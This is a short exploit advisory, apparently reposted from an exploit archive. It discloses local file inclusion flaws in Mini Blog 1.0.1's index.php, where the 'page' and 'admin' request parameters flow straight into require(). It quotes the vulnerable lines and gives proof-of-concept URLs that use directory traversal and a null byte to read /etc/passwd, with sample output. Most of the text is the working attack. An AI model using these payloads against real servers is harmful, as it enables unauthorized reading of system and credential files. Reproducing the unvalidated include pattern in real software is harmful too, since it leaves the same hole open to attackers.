Mini Blog 1.0.1 (index.php) Multiple Local File Inclusion Vulnerabilities

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Mini Blog 1.0.1 (index.php) Multiple Local File Inclusion Vulnerabilities
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/*

	$Id: miniblog-1.0.1-lfi.txt,v 0.1 2008/12/06 04:06:00 cOndemned Exp $
	
	Mini Blog 1.0.1 (index.php) Multiple Local File Inclusion Vulnerabilities
	Discovered by cOndemned

	Download : http://www.bpowerhouse.info/mini_blog.htm
	

*/

Source of index.php

	[...]

	7.	$page = !empty($_GET['page']) ? $_GET['page'] : "";
	8.	$admin = !empty($_GET['admin']) ? $_GET['admin'] : "";
	
	[...]
	
	77.	if (($page != "") && file_exists("page/" . $page . ".php")) {
	78.		require("page/" . $page . ".php");
	79.	} else if (($admin != "") && file_exists("admin/" . $admin . ".php")) {
	80.		require("admin/" . $admin . ".php");

	[...]
	

Proof of Concept

	http://[host]/[mini_blog_1.0.1_path]/index.php?page=../../../../[local_file]%00
	http://[host]/[mini_blog_1.0.1_path]/index.php?admin=../../../../[local_file]%00
	
	for example request :
	
	http://[host]/[mini_blog_1.0.1_path]/index.php?page=../../../../../etc/passwd%00
	
	...might give result like this :

	root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon...
	
	
EoF




#  0day.today [2018-04-14]  #